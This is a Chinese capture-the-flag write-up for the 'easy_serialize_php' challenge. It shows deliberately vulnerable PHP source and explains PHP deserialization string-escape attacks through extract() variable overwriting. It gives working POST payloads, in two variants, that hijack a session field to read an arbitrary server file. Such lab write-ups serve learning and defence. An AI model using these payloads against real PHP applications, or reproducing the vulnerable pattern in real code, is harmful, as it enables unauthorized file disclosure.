BUU [安洵杯 2019]easy_serialize_php
源码如下
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}//把过滤的这些字符串替换为空
if($_SESSION){
unset($_SESSION); //如果$_SESSION已经存在就删除它。
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST); //extract() :从数组中将变量导入到当前的符号表。
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION)); //将_SESSION序列化且过滤,将值赋给$serialize_info
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
/*当get传入的f的值,也就是$function的值等于'show_image'时,就会将$serialize_info反序列化,然后将值赋给$userinfo['img']指向的文件(base64解密后)最后将会高亮显示base64的编码*/
先看了一下他的phpinfo(),flag应该就在这里。
浏览了一遍代码,可以利用反序列化字符串逃逸。从extract($_POST)传入东西修改 _SESSION[]里面的东西。
根据extract()我们可以进行变量覆盖,当我们传入SESSION[flag]=123时,¥SESSION[“user”]和¥SESSION[‘function’] 全部会消失,只剩下_SESSION[flag]=123。
我觉得SESSION数组里面的我们无法对img做手脚,不管我们有没有get传入img_path,都无法读出我们想要的文件,get传了img被改成guest_img.png,不传多了一个sha1编码。
反序列化字符逃逸一共有两种方法:一个是键值逃逸,另一个是键名逃逸
_SESSION一共有三个键值对,所以我们一共要构建三个键值对
方法一:键值逃逸
如果要只修改$_SESSION[‘function’]实现键值逃逸不可能,没有替换,比如说传入where给你替换成hacker。
所以,如果想要构建代码,只能在user的值做恶意代码然后让其被过滤,然后在function构建代码,让function构建的代码生效。
修改这两处,第一处全为被过滤字符,使过滤完后字符串自动向后解析。
第二个xxx=";s:1:"a";s:1:"b";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
可以看到,第二个xxx我构造了两个键值对和闭合,a=b,img=ZDBnM19mMWFnLnBocA==。
下图右边我选中的字符串除了xxxxxx还有23个字符。
第一个xxx=flagflagflagflagflagphp //23位
变成
a:3:{s:4:“user”;s:23:“flagflagflagflagflagphp”;s:8:“function”;s:57:“”;s:1:“a”;s:1:“b”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";s:3:“img”;s:6:“123123”;}
经过服务器过滤,flag和php都没了,变成
{s:4:“user”;s:23:" “;s:8:“function”;s:57:” ";s:1:“a”;s:1:“b”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;} ";s:3:“img”;s:6:“123123”;}
①user=“;s:8:“function”;s:57:” // ②a=b // ③img=ZDBnM19mMWFnLnBocA== //三个键值对不多不少。字符串我没用引号包起来。
payload:
?f=show_image //GET
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:1:"a";s:1:"b";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} //POST
将/d0g3_fllllllag进行base64编码
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:1:"a";s:1:"b";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
方法二:键名逃逸
原理和上面一样,只不过这次被过滤的地方不是在值的位置,而是在键名的位置,然后在值的位置构造恶意代码。
先给一个payload
payload:
?f=show_image //GET
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} //POST
由于我多传了一个¥_SESSION[“phpflag”],所以SESSION数组变成了四个键值对。
看图,flagphp被过滤后,我选中的7个字符被解析,构造了一个 ";s:48:=1 的键值对。
如果传我的payload,一共四个键值对,不多不少。
①user=guest // ②function=show_image // ③";s:48:=1 // ④img=ZDBnM19mMWFnLnBocA==
其中①②我没改变他们。
剩下的步骤同解法一。